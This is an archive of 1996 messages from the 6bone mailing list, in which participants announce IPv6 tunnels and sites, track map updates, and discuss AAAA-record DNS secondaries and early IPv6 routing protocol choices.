>I apologize for bothering you with this, but I presumed that
>if you were documenting this growth, you must have some idea
>of how it is proceeding...

Yes, there does seem to be some out of band signalling going on...but I'm
not involved in it either.  So far I've just been told after something is
hooked up, and I add it to the diagram.

My hope is that we can come up with a process that is more reasonable for
planning new connections, especially in the backbone/core of the 6bone.

Right now I think we are in learning mode and will evolve to a process that
works in the most practical way.


>I presume that I just need to request a connection from the
>closest site, which looks to be Cisco at about 10 hops and 15ms.
>Could you give me the name of the contact at Cisco (or a contact
>at some other likely site)?

Talk to Ran Atkinson at cisco (rja@cisco.com).


>Once we get a connection, we are certainly willing to provide
>further connections to others, if our upstream site doesn't mind.
>The NAS is maybe four FDDI hops from FIX-West, so it would seem that
>we have reasonable connectivity.

Makes sense.  Again we do need some process for discussing these things.
=46or now this list will have to do.


Thanks for bringing this up.

Bob




From majordom@ISI.EDU  Wed Aug 28 00:08:32 1996
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Date: Wed, 28 Aug 1996 07:08:32 -0700
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Subject: NASA-Ames now added to 6bone
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6bone drawing version 8 (28 Aug 96) adds NASA-Ames (the NAS facility) to
the 6bone stubbed from Cisco.


Bob



http://www-6bone.lbl.gov/6bone/



From majordom@ISI.EDU  Wed Aug 28 01:57:09 1996
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Date: Wed, 28 Aug 1996 08:57:09 -0700
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Subject: Gutenberg Univ. now added to 6bone
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6bone drawing version 9 (28 Aug 96) adds Gutenberg Univ. (in Mainz,
Germany) to the 6bone stubbed from G6/FR.


Bob



http://www-6bone.lbl.gov/6bone/



=3D=3D=3D=3D=3D=3D
=46rom: "Alain Durand" <Alain.Durand@imag.fr>
Date: Wed, 28 Aug 1996 16:48:29 +0200
To: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new tunnel

Hi bob.

I have a new tunnel between G6 and Johannes Gutenberg Universitaet, Mainz,
Germany. (5f0b:2900::/32 ipv4: 134.93.8.107)

Yours,

	- Alain.



From majordom@ISI.EDU  Thu Aug 29 02:50:31 1996
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Date: Thu, 29 Aug 1996 09:50:31 -0700
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6bone drawing version 10 (29 Aug 96) adds the Swedish Institute of Computer
Science (SICS) (in Kista, Sweden) to the 6bone stubbed from UNI-C/DK.


Bob



http://www-6bone.lbl.gov/6bone/



=3D=3D=3D=3D=3D=3D
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>, peter@sics.se
Subject: SICS on the 6bone
Date: Thu, 29 Aug 1996 18:06:10 +0200
=46rom: Peter Sjodin <peter@sics.se>

Hi Bob,

SICS is now connected to the 6bone via a tunnel to UNI-C:

prefix:		5f0b:1700::/32
tunnel:		193.10.66.50 (HP 725)
ping:		sauce.ipv6.sics.se (5f0b:1700:c10a:4200:0:800:978:196d)
		tott.ipv6.sics.se (5f0b:1700:c10a:4200:0:800:94e:984b)

Peter

--
Peter Sj=F6din
Swedish Institute of Computer Science, PO Box 1263, S-164 28 KISTA, SWEDEN
Mail: peter@sics.se        Tel: +46 8 752 15 50       Fax: +46 8 751 72 30
-



From majordom@ISI.EDU  Thu Aug 29 22:50:19 1996
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Date: Thu, 29 Aug 1996 20:50:19 +0200
Message-Id: <199608291850.UAA15530@sol.ibr.cs.tu-bs.de>
From: Frank Strauss <strauss@ibr.cs.tu-bs.de>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU, Juergen Schoenwaelder <schoenw@ibr.cs.tu-bs.de>
Subject: 6bone maps
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Hi!

What do you think about using a more sophisticated tool for drawing
these 6bone maps. One tool I think of (why ever ;-) is tkined
(http://www.cs.tu-bs.de/ibr/projects/nm/tkined/welcome.html). It may
be used to draw maps with some more information than just the
interconnection of IPv6 islands, e.g. those islands may get expanded,
to get more information on their internal structures and addresses.
Of course, simple postscript maps may be extracted.

One major problem would be, to keep the information up to date. ;-/

To get an impression (not more), you might take a look at a few
links at the bottom of http://www.cs.tu-bs.de/~strauss/ipng/.

							Frank

From majordom@ISI.EDU  Fri Aug 30 00:21:21 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <960829222122.ZM4485@rama.imag.fr>
Date: Thu, 29 Aug 1996 22:21:21 +0200
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Hi all,

I'm pleased to announce our web server http://www.ipv6.imag.fr
It can be reach with regular IPv4 or IPv6 for folks on the 6-bone
with a tunnel to G6.

Let me know if you have any problem to read those pages.

	- Alain.

From majordom@ISI.EDU  Thu Aug 29 14:52:49 1996
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To: ipv6imp@munnari.oz.au, 6bone@isi.edu
Subject: Atlanta Networld/Interop and IPv6 Connectivity
Date: Thu, 29 Aug 96 18:52:49 -0400
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Anyone going to show IPv6 at Interop in Atlanta Sept 18-20.  If so let me know 
we can coordinate some interop tests if you like.  Also we should try to show
access to the 6bone from the show floor too.

/jim

From majordom@ISI.EDU  Thu Aug 29 10:29:42 1996
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Date: Thu, 29 Aug 1996 17:29:42 -0700
To: strauss@ibr.cs.tu-bs.de
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone maps
Cc: 6bone@isi.edu, Juergen Schoenwaelder <schoenw@ibr.cs.tu-bs.de>
Sender: owner-6bone@ISI.EDU
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=46rank,

>What do you think about using a more sophisticated tool for drawing
>these 6bone maps. One tool I think of (why ever ;-) is tkined
>(http://www.cs.tu-bs.de/ibr/projects/nm/tkined/welcome.html). It may
>be used to draw maps with some more information than just the
>interconnection of IPv6 islands, e.g. those islands may get expanded,
>to get more information on their internal structures and addresses.
>Of course, simple postscript maps may be extracted.
>
>One major problem would be, to keep the information up to date. ;-/
>
>To get an impression (not more), you might take a look at a few
>links at the bottom of http://www.cs.tu-bs.de/~strauss/ipng/.

Thanks for bringing this up. I really believe that, in the long run, it
would be best to auto generate the maps.  As you point out, we would need
to have an up to date registry, which hopefully is what Geert Jan's efforts
are all about.

=46or me, unfortunately, this form of drawing is not directly viewable on my
Mac as I could not find a tkined viewer.  Also, I still must print .ps
files to look at them.  Unix users may not have these problems of course.
Can it be taught to generate .gif files?  I'm pretty clueless about tkined
:-(

I say we do both manual and auto maps for awhile, till it is clear that the
registry gives sufficient data for the map to be up-to-date, and that we
like the auto gen'd result.

Would you be willing to set up a process (code!) to generate a map from
Geert Jan's registry?  It would probably have the effect of forcing people
to register :-)



Thanks again,

Bob



From majordom@ISI.EDU  Fri Aug 30 15:09:00 1996
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Date: Fri, 30 Aug 1996 13:09:00 +0200
Message-Id: <199608301109.NAA22424@sol.ibr.cs.tu-bs.de>
From: Frank Strauss <strauss@ibr.cs.tu-bs.de>
To: RLFink@lbl.gov
Cc: 6bone@isi.edu, schoenw@ibr.cs.tu-bs.de
In-Reply-To: <v0300781bae4bdecdf7e6@[128.3.9.22]> (message from Bob Fink LBNL
	on Thu, 29 Aug 1996 17:29:42 -0700)
Subject: Re: 6bone maps
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Hi!

>> What do you think about using a more sophisticated tool for drawing
>> these 6bone maps. One tool I think of (why ever ;-) is tkined
>> (http://www.cs.tu-bs.de/ibr/projects/nm/tkined/welcome.html). It may
>> be used to draw maps with some more information than just the
>> interconnection of IPv6 islands, e.g. those islands may get expanded,
>> to get more information on their internal structures and addresses.
>> Of course, simple postscript maps may be extracted.
>> 
>> One major problem would be, to keep the information up to date. ;-/
>> 
>> To get an impression (not more), you might take a look at a few
>> links at the bottom of http://www.cs.tu-bs.de/~strauss/ipng/.


Bob> Thanks for bringing this up. I really believe that, in the long
Bob> run, it would be best to auto generate the maps.  As you point
Bob> out, we would need to have an up to date registry, which
Bob> hopefully is what Geert Jan's efforts are all about.

Hm. I think this is worth a separate thesis. ;-) (extraction of
locations from DNS, managing databases of addresses, arranging `good
looking' graphs, ...)


Bob> =46or me, unfortunately, this form of drawing is not directly
Bob> viewable on my Mac as I could not find a tkined viewer.  Also, I
Bob> still must print .ps files to look at them.  Unix users may not
Bob> have these problems of course.  Can it be taught to generate .gif
Bob> files?  I'm pretty clueless about tkined :-(

I converted those two maps to gif and put links on my page. BTW,
probably, tkined may compile cleanly on your Mac. Juergen? ;-)


Bob> I say we do both manual and auto maps for awhile, till it is
Bob> clear that the registry gives sufficient data for the map to be
Bob> up-to-date, and that we like the auto gen'd result.

Real automated map generation is quite difficult, I think. It would
take much time to define all needed attributes and write some code.
Once, reaching the point of acceptable operation, the 6bone might be
that large, that it doesn't fit on one page. ;-)


Bob> Would you be willing to set up a process (code!) to generate a
Bob> map from Geert Jan's registry?  It would probably have the effect
Bob> of forcing people to register :-)

Nice aspect. ;-) But I don't want to put much work on arranging those
maps. For me, using tkined is just a very nice way to combine the
creation of map overviews and some kind of network management.

Probably we could put another field into the registry records, that
contains a tkined map URL. Such a map may contain pointers to
neighboring tkined maps. This would be a good way to decentralize the
map management, although it doesn't give an overview at once.

							Frank

From majordom@ISI.EDU  Thu Aug 29 23:51:13 1996
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References: Bob Fink LBNL <RLFink@lbl.gov>        "Re: 6bone maps" (Aug
 29,  5:29pm) <v0300781bae4bdecdf7e6@[128.3.9.22]>
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Date: Fri, 30 Aug 1996 06:51:13 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: new tunnel
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6bone drawing version 11 (30 Aug 96) adds tunnel from SICS/SE to G6/FR.


Bob

http://www-6bone.lbl.gov/6bone/


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
At 2:17 AM -0700 8/30/96, Alain Durand wrote:
>Hi bob,
>
>There is a new tunnel to connect SICS and G6.
>
>	- Alain.




From majordom@ISI.EDU  Fri Aug 30 03:57:43 1996
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References: <v0300781bae4bdecdf7e6@[128.3.9.22]> (message from Bob Fink
 LBNL	on Thu, 29 Aug 1996 17:29:42 -0700)
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Date: Fri, 30 Aug 1996 10:57:43 -0700
To: strauss@ibr.cs.tu-bs.de
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone maps
Cc: 6bone@isi.edu, schoenw@ibr.cs.tu-bs.de
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=46rank,

>Real automated map generation is quite difficult, I think. It would
>take much time to define all needed attributes and write some code.
>Once, reaching the point of acceptable operation, the 6bone might be
>that large, that it doesn't fit on one page. ;-)

Thanks for your response, though I don't understand how much your approach
does to shorten the time involved drawing maps as almost any manual time
spent per new link is no faster than what I do now.   At least for the
simple hi-level stick map I do at present.


>Probably we could put another field into the registry records, that
>contains a tkined map URL. Such a map may contain pointers to
>neighboring tkined maps. This would be a good way to decentralize the
>map management, although it doesn't give an overview at once.

Sure, this might be a good way to do things.  Geert Jan?


Did someone solve this proble for the mbone?



I think I will keep generating a manual map for a while longer.


Thanks,

Bob



From majordom@ISI.EDU  Sun Sep  1 00:51:22 1996
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From: rstevens@kohala.com (W. Richard Stevens)
Date: Sun, 1 Sep 1996 07:51:22 -0700
Reply-To: "W. Richard Stevens" <rstevens@kohala.com>
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To: 6bone@isi.edu
Subject: 6bone connection requested
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I'd like to join the 6bone.  After following this mailing list for
the past few weeks, and looking at the home page, it's not obvious
how this happens.  My guess is to just find someone "close" that is
already connected, who is willing to provide a tunnel?

I've got the current map, have done some pings and traceroutes, and
it appears "Sun/US" is the "closest".  I'm in Tucson and my network
connectivity goes through either SprintLink is Anaheim or MCI in Los
Angeles.  (It's hard to tell from the names on the map, just where
the site is located, physically and network-wise.)  I am assuming
that's its best to connect to one of the leaves (like Sun), and not
the interior nodes (like Cisco).

	Rich Stevens

(I apologize is this is a duplicate.  I sent the same request out
yesterday, but it was from an email account other than my 6bone
subscription, so it appears to have been tossed, although majordomo
did not return an error of any form.)

From majordom@ISI.EDU  Mon Sep  2 05:07:59 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Mon, 2 Sep 1996 12:07:59 PDT
In-Reply-To: rstevens@kohala.com (W. Richard Stevens)
       "6bone connection requested" (Sep  1,  7:51am)
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Rich,

  cisco is basically willing to provide a tunnel to anyone that
is topologically nearby.  If you want a tunnel with cisco, 
send me private email with the particulars.  If you prefer to
setup a tunnel with Sun or some other node, that's also fine
with us.

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Tue Sep  3 00:52:04 1996
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Date: Tue, 3 Sep 1996 07:52:04 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map - tunnel from UNH/US to UNI-C/DK
Cc: Sebastien.Roy@unh.edu
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6bone drawing version 12 (3 Sep 96) adds tunnel from UNH/US to UNI-C/DK.


Bob

http://www-6bone.lbl.gov/6bone/


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
At 3:21 PM -0700 8/30/96, Sebastien.Roy@unh.edu wrote:
>Hello,
>
>	My name is Sebastien Roy, and I am from the InterOperability
>Laboratory at the University of New Hampshire.  I know how much you
>must love updating the 6bone map that you have so generously made
>available to us.  There is a tunnel that is not reflected in the map
>however.  It connects UNH and UNI-C.  Thanks.  By the way, the map is
>very useful!
>
>--
>Sebastien C. Roy
>RCC/IOL
>University of New Hampshire
>Sebastien.Roy@unh.edu




From majordom@ISI.EDU  Tue Sep  3 19:53:49 1996
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From: Juergen Weiss <weiss@uni-mainz.de>
To: 6bone@ISI.EDU
Subject: IPv6 www Server on tick.ipv6.Uni-Mainz.DE
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Hi all,

to make our site more interesting I have installed a www server
on tick.ipv6.Uni-Mainz.DE.  This is an ipv6 only www server. It
provides the same pages as the regular www server
www.Uni-Mainz.DE (ipv4 only).

But beware: No ipv6 specific information. Most pages are in
German. Nevertheless better than icmp responses elicted by ping.

The server is a quick port of apache 1.1.1 to ipv6 running
on a Netbsd PC with the INRIA ipv6 code.


Juergen Weiss

-- 
Juergen Weiss		| Universitaet Mainz, Zentrum f"ur Datenverarbeitung,
weiss@uni-mainz.de      | 55099 Mainz, Tel: 06131/39-6361, FAX: 06131/39-6407

From majordom@ISI.EDU  Tue Sep  3 08:38:53 1996
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Date: Tue, 03 Sep 1996 13:38:53 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: FNAL on 6bone
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 /RKQi"kntyd}7l)d8n%'Dum<~(aMW3,5g&'NiH5I4Jj|wT:j;Qa$!@A<~/*C:{:MmAQ:o%S /KKi}G4_.||4I[9!{%3]Hd"a*E{<k&QF?d6L7o&zLqb%kXn!!]ykXMKtTiy9#20]$EKP/^Z$T]'P6,
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Fermilab came up on a 6bone tunnel to ESNET as of August 31.  We're
routing 5f01:2500:83e1::/48 by the tunnel to ::131.225.57.207.  I'm
adding internal tunnels to our major workgroups so that by tomorrow
IPv6 routing should be available to more than 80% of the site.

Other DOE national labs are invited to request tunnels to FNAL (with
ESNET coordination), as are universities directly connected to the
Chicago NAP.
				Matt Crawford


From majordom@ISI.EDU  Tue Sep  3 04:15:59 1996
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From: rstevens@kohala.com (W. Richard Stevens)
Date: Tue, 3 Sep 1996 11:15:59 -0700
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Before adding AAAA records to my name server I started wondering
just what my secondary was going to do when it got AAAA records
in the zone transfers.  As Mark Andrews pointed out to me, even
if the secondary's server ignores them gracefully (which it isn't
ovbious older versions of bind do) one's secondary server had
better understand AAAA records too, since all servers are
considered equal.

Currently my ISP is providing my secondary, but they're not at
bind-4.9.4 so I'd better find a new secondary.  Is anyone willing
to provide a secondary--I'm willing to reciprocate for anyone else
needing an IPv6-knowledgable secondary.

BTW, shouldn't this be added to some of the transition documentation
somewhere--the fact that not only must one's name server be AAAA
knowledgable, but also one's secondary server(s)?  It could take many
years for some vendors to ship a version of bind that understands
AAAA records.

	Rich Stevens

From majordom@ISI.EDU  Tue Sep  3 09:48:21 1996
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Status: RO

> Before adding AAAA records to my name server I started wondering
> just what my secondary was going to do when it got AAAA records
> in the zone transfers.

After a couple of years without a peek in the BIND source code, I
was shocked and dismayed last week to see that named-xfer uses a
text-based intermediate file.  This means that even though a
non-authoritative server will correctly cache RRs it doesn't
understand, a secondary server won't get them.
_________________________________________________________
Matt Crawford          crawdad@fnal.gov          Fermilab
  PGP: D5 27 83 7A 25 25 7D FB  09 3C BA 33 71 C4 DA 6A

From majordom@ISI.EDU  Tue Sep  3 06:40:17 1996
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Date: Tue, 3 Sep 1996 13:40:17 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map - new tunnels for FNAL/US and KEK/JP from ESnet/US
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6bone map version 13 (3 Sep 96) adds tunnels from ESnet/US to FNAL/US and
from ESnet/US to KEK/JP.


Bob

http://www-6bone.lbl.gov/6bone/


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: Matt Crawford <crawdad@fnal.gov>, routing@es.net
Subject: Re: IPv6 forwarding code in place
Date: Tue, 03 Sep 96 11:21:12 -0700
=46rom: "Rebecca L. Nitzan" <nitzan@es.net>

Bob:

  We also brought up a tunnel to KEK this weekend.

They are prefix  5F09:C900::/32

hosts:

ping6 5f09:c900:8257:3900:0:20:aff8:84fa
ping6 5f09:c900:8257:3900:0:800:2be4:4450

			-- Becca
=3D=3D
Date: Tue, 03 Sep 1996 13:38:53 -0500
=46rom: Matt Crawford <crawdad@fnal.gov>
Subject: FNAL on 6bone
To: 6bone Mailer <6bone@isi.edu>

=46ermilab came up on a 6bone tunnel to ESNET as of August 31.  We're
routing 5f01:2500:83e1::/48 by the tunnel to ::131.225.57.207.  I'm
adding internal tunnels to our major workgroups so that by tomorrow
IPv6 routing should be available to more than 80% of the site.

Other DOE national labs are invited to request tunnels to FNAL (with
ESNET coordination), as are universities directly connected to the
Chicago NAP.
				Matt Crawford

-



From majordom@ISI.EDU  Tue Sep  3 10:39:52 1996
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To: "W. Richard Stevens" <rstevens@kohala.com>
Cc: 6bone@isi.edu
Subject: Re: secondary name server that understands AAAA records 
In-Reply-To: Your message of "Tue, 03 Sep 1996 11:15:59 PDT."
             <199609031815.LAA10378@kohala.kohala.com> 
Date: Tue, 03 Sep 1996 17:39:52 -0700
From: "Kevin M. Lahey" <kml@nas.nasa.gov>
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In message <199609031815.LAA10378@kohala.kohala.com>W. Richard Stevens writes
>Before adding AAAA records to my name server I started wondering
>just what my secondary was going to do when it got AAAA records
>in the zone transfers.

I just created a subdomain into which I put all of my AAAA records,
ipv6.nas.nasa.gov.  It looks like quite a few other sites are doing
something similar.  The documentation for the Inria code suggests that
it can be difficult to deal with hosts that have both IPv4 and IPv6
address mappings:

   FIRST use DNS option "mapIPv6" ("options mapIPv6" in /etc/resolv.conf
   or "setenv RES_OPTIONS mapIPv6").  If you forget this any IPv6/IPv4
   application will try to get AAAA RR before A RR and wait because there
   are no AAAA RR.  With it you cannot use a name bound to both an IPv4
   and an IPv6 address.

Or is there something else at work here?  I've noticed relatively
little discussion of this, or of reverse DNS issues.

Thanks,

Kevin

From majordom@ISI.EDU  Tue Sep  3 10:56:59 1996
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To: "Kevin M. Lahey" <kml@nas.nasa.gov>
Cc: "W. Richard Stevens" <rstevens@kohala.com>, 6bone@isi.edu
Subject: Re: secondary name server that understands AAAA records 
In-Reply-To: Your message of "Tue, 03 Sep 1996 17:39:52 PDT."
             <199609040039.RAA00685@galaxy.nas.nasa.gov> 
Date: Tue, 03 Sep 1996 17:56:59 -0700
From: "Kevin M. Lahey" <kml@nas.nasa.gov>
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In message <199609040039.RAA00685@galaxy.nas.nasa.gov>"Kevin M. Lahey" writes
>I just created a subdomain into which I put all of my AAAA records,
>ipv6.nas.nasa.gov.  It looks like quite a few other sites are doing
>something similar.

Which isn't to suggest that a secondary is unnecessary, but that
you could chose a different secondary for the domain that contains
the AAAA records.  Sorry for the ambiguity.

I'd be happy to serve as secondary for anyone who needs it.

Thanks,
Kevin

From majordom@ISI.EDU  Tue Sep  3 19:29:01 1996
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To: "Kevin M. Lahey" <kml@nas.nasa.gov>
Cc: 6bone@ISI.EDU
Subject: Re: secondary name server that understands AAAA records 
In-Reply-To: Your message of "Tue, 03 Sep 96 17:56:59 PDT."
             <199609040057.RAA00774@galaxy.nas.nasa.gov> 
Date: Tue, 03 Sep 96 23:29:01 -0400
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Kevin,

AAAA is just another RR type.  If BIND don't find AAAA record condition
is returned to resolver not found.  Then go look for A RR type.  I don't
see what the problem is or would be unless folks are trying to alter
BIND Server code?  Good luck.

As far as transition spec.  Secondaries are not required in DNS (though
useful).  Some of the transition spec was left to common sense.  If you
want a secondary that supports AAAA records and it don't do IPv6 that
just seems dumb.  I don't think we should have to specify this in that
spec. But clearly useful for documentation as we roll out our kits and
products as vendors.

/jim

From majordom@ISI.EDU  Wed Sep  4 15:25:33 1996
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Message-Id: <199609041125.NAA27778@givry.inria.fr>
From: Francis Dupont <Francis.Dupont@inria.fr>
To: bound@zk3.dec.com
Cc: "Kevin M. Lahey" <kml@nas.nasa.gov>, 6bone@isi.edu
Subject: Re: secondary name server that understands AAAA records 
In-Reply-To: Your message of Tue, 03 Sep 1996 23:29:01 EDT.
             <9609040329.AA06503@fwasted.zk3.dec.com> 
Date: Wed, 04 Sep 1996 13:25:33 +0200
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 In your previous mail you wrote:

   AAAA is just another RR type.  If BIND don't find AAAA record condition
   is returned to resolver not found.  Then go look for A RR type.  I don't
   see what the problem is or would be unless folks are trying to alter
   BIND Server code?  Good luck.
   
=> it is not so simple. You can look at the return code because
with NXDOMAIN it is not useful to go look for an A RR (or any RR).
Another problem is the order when you have a search list (and you
should have one, see below).

   As far as transition spec.  Secondaries are not required in DNS (though
   useful).  Some of the transition spec was left to common sense.  If you
   want a secondary that supports AAAA records and it don't do IPv6 that
   just seems dumb.  I don't think we should have to specify this in that
   spec. But clearly useful for documentation as we roll out our kits and
   products as vendors.
   
=> the common solution to this problem is to have a special zone
(for instance ipv6.<your domain name>) and to select secondaries
with AAAA support.
 Two remarks:
 - common BINDs are enough for the reverse zone (which uses only PTR RRs).
 - it is very easy to add AAAA support to an old BIND. The diffs are
 small and can be applied to any architecture. Especially you have *not*
 to run IPv6 in order to support AAAA RRs for a secondary.

Regards

Francis.Dupont@inria.fr

l
to try to get an A record) or NOERROR (then there is likely an A RR).

   Or is there something else at work here?  I've noticed relatively
   little discussion of this, or of reverse DNS issues.
   
=> reverse DNS is much simpler, there is only an issue for IPv4-compatible
addresses...

Regards

Francis.Dupont@inria.fr

From majordom@ISI.EDU  Fri Sep  6 00:33:47 1996
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Date: Fri, 6 Sep 1996 07:33:47 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: no 6bone map changes till the 16th Sep
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6bone folks,

Am on travel all of next week (9th thru the 13th of Sep), and won't be
dealing with email at all.  So if you have 6bone map config change info,
please note that I won't respond to it till the 16th of Sep.

Gee, a week without email...how novel :-)


Thanks,

Bob



From majordom@ISI.EDU  Fri Sep  6 02:19:32 1996
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Date: Fri, 6 Sep 1996 09:19:32 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map - new tunnel from Cisco/US to UOregon/US
Cc: "David M. Meyer 541/346-1747" <meyer@network-services.uoregon.edu>
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Dave Meyer caught me before I left!

6bone map version 14 (6 Sep 96) adds tunnels from Cisco/US to UOregon/US.

Bob

http://www-6bone.lbl.gov/6bone/


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
To: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: no 6bone map changes till the 16th Sep
Date: Fri, 06 Sep 1996 08:33:09 -0700
=46rom: "David M. Meyer 541/346-1747" <meyer@network-services.uoregon.edu>


Bob,

The University of Oregon has just brought up a tunnel to
Cisco. Have a good trip (vacation, I hope).

Thanks,

Dave
-



From majordom@ISI.EDU  Sat Sep  7 07:43:35 1996
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Date: Sat, 7 Sep 1996 14:43:35 -0700
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To: 6bone@isi.edu
Subject: Geographically-based 3D map
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There is now a geographically-based map available on the WWW. Using tools
borrowed from the Mbone visualization, we at NAS have come up with a VRML model
of the 6bone with all the tunnels that we could find represented. The URL for
the new map is:

http://www.nas.nasa.gov/NAS/Groups/netops/IPv6/viz/index.html

There are static GIFs available as well, for those without VRML browsers. I am
still missing IPv4 endpoints for U of Oregon and KEK/JP (I guessed on KEK). If
anyone can provide those to me I will add them to the map.

In the near future, we hope to publish a database of the available tunnels and
allow for everyone to update it themselves. This hopefully will provide the
most current repository for sites and contacts.

Any questions, corrections or feedback can be addressed to
<ahoag@nas.nasa.gov>.


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Mon Sep  9 13:23:32 1996
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To: ahoag@nas.nasa.gov
Cc: 6bone@isi.edu, ipv6-ops@nas.nasa.gov
Subject: Re: Geographically-based 3D map
In-Reply-To: Your message of "Sat, 7 Sep 1996 14:43:35 -0700"
References: <9609071443.ZM26132@rennsport.nas.nasa.gov>
Message-Id: <19960909042332M/yamagata@nwgpc.kek.jp>
Date: Mon, 09 Sep 1996 04:23:32 +0900
From: yamagata@nwgpc.kek.jp
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> http://www.nas.nasa.gov/NAS/Groups/netops/IPv6/viz/index.html

> There are static GIFs available as well, for those without VRML
> browsers. I am still missing IPv4 endpoints for U of Oregon and
> KEK/JP (I guessed on KEK). If anyone can provide those to me I will
> add them to the map.

Our KEK/JP endpoint machine is
130.87.57.37    5f09:c900:8257:3900:0:20:aff8:84fa

					yamagata

From majordom@ISI.EDU  Wed Sep 11 10:16:04 1996
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Message-Id: <32375644.5193@tbit.dk>
Date: Wed, 11 Sep 1996 17:16:04 -0700
From: Martin Peck <mdp@tbit.dk>
Organization: Telebit Communications A/S
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Hi All,

Telebit Communications has now set up IPv6 tunnels to UNI-C and the JOIN 
team in Munster, to participate in the testing of IDRPv6. An update to 
the 6Bone map should follow shortly.

Although the use of this routing protocol still requires configured 
tunnels to be established it does allow the propogation of routing 
information between domains. Its wider use in the 6Bone network could 
perhaps be discussed in parallel to the dialogue surrounding RIP.

Feedback Requested.

Martin Peck
URL: http://www.tbit.dk/

From majordom@ISI.EDU  Wed Sep 11 18:37:48 1996
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Martin Peck <mdp@tbit.dk>
Cc: 6bone@isi.edu
Subject: Re: 6Bone Mail 
In-Reply-To: Your message of Wed, 11 Sep 1996 17:16:04 PDT.
             <32375644.5193@tbit.dk> 
Date: Wed, 11 Sep 1996 16:37:48 +0200
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 In your previous mail you wrote:

   Although the use of this routing protocol (*) still requires configured 
   tunnels to be established it does allow the propogation of routing 
   information between domains. Its wider use in the 6Bone network could 
   perhaps be discussed in parallel to the dialogue surrounding RIP.
   (*) = IDRPv6

=> there are three solutions for the dynamic routing of the 6 bone:
 - RIPv6 but RIPv6 doesn't scale (remember DVMRP) and is not specified
 for the usage over tunnels. Obviously RIPv6 is a cheap protocol
 for the routing inside an IPv6 cloud (OSPFv6 has the same problem
 and is not cheap or available).
 - IDRPv6 but it is not available on all the platforms, the draft
 is not finished, etc... : it is not yet ready. I believe it is
 the good long term solution then we should test it ASAP but
 it is not possible to deploy it before many months.
 - the last solution is to consider the Internet as a NBMA
 and to use NHRP. If you look at one of the maps of the 6 bone
 you can understand a tool is hardly needed and both the short-cut
 facility and a server tree (a level smaller and easier to manage)
 are good things.

 I don't believe we can get all this stuff running in a few days
then we have to do a choice (the same one :-) ASAP...

Francis.Dupont@inria.fr

PS: perhaps we should create a 6bone IETF WG or to resume the TACIT WG
(one of the T of TACIT are for "tests" :-) ?

From majordom@ISI.EDU  Wed Sep 11 02:05:16 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 11 Sep 1996 09:05:16 PDT
In-Reply-To: Francis Dupont <Francis.Dupont@inria.fr>
       "Re: 6Bone Mail" (Sep 11,  4:37pm)
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To: 6bone@isi.edu
Subject: Re: 6Bone routing
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6bone-router.cisco.com contains a full routing table.  It also has
a fairly large number of tunnels.  It is managed by me in free time
while waiting for builds and such like.  The current 6bone is easily
managed by humans using static routing.

There is no immediate need to move to any routing protocol.  Later
this year or early next year, when there is more of a need, then
it will begin to make sense to start using a routing protocol.

There has been agreement that RIP for IPv6 will be the routing protocol
initially used.  I agree with that decision.  It is not a permanent
answer but it will provide a good testing vehicle and meet the needs
for some while.

According to someone close to the IDRPv2 spec, that spec is not yet stable
so it is certainly premature to be considering deploying that at the
current time.  Down the road, yes, it should be considered.  However,
I do not view that as a sensible approach in the near-term.

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Wed Sep 11 08:21:51 1996
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Date: Wed, 11 Sep 96 12:21:51 EDT
From: dhaskin@baynetworks.com (Dimitry Haskin)
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To: Francis.Dupont@inria.fr
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> From: Francis Dupont <Francis.Dupont@inria.fr>
> => there are three solutions for the dynamic routing of the 6 bone:
>  - RIPv6 but RIPv6 doesn't scale (remember DVMRP) and is not specified
>  for the usage over tunnels.

How come? Why should RIPv6 work differently over tunnels?
As I see it, tunnel is just an instance of 'normal' point-to-point interface.
The fact that IPv6 packets are encapsulated into IPv4 frames at
link layer should not matter at network layer.  Do you tweak
your network protocols for each meadia it may run over?  I don't.
Here at Bay we have a generic RIPv6 implementation which runs over tunnels
as specified -- the same way it runs over other types of links.

>                              Obviously RIPv6 is a cheap protocol
>  for the routing inside an IPv6 cloud (OSPFv6 has the same problem
>  and is not cheap or available).
>  - IDRPv6 but it is not available on all the platforms, the draft
>  is not finished, etc... : it is not yet ready. I believe it is
>  the good long term solution then we should test it ASAP but
>  it is not possible to deploy it before many months.
>  - the last solution is to consider the Internet as a NBMA
>  and to use NHRP. If you look at one of the maps of the 6 bone
>  you can understand a tool is hardly needed and both the short-cut
>  facility and a server tree (a level smaller and easier to manage)
>  are good things.

NHRP is not a routing protocol.  Are you proposing to confine 6bone
to a single LIS so no routing would be necessary?

> 
>  I don't believe we can get all this stuff running in a few days
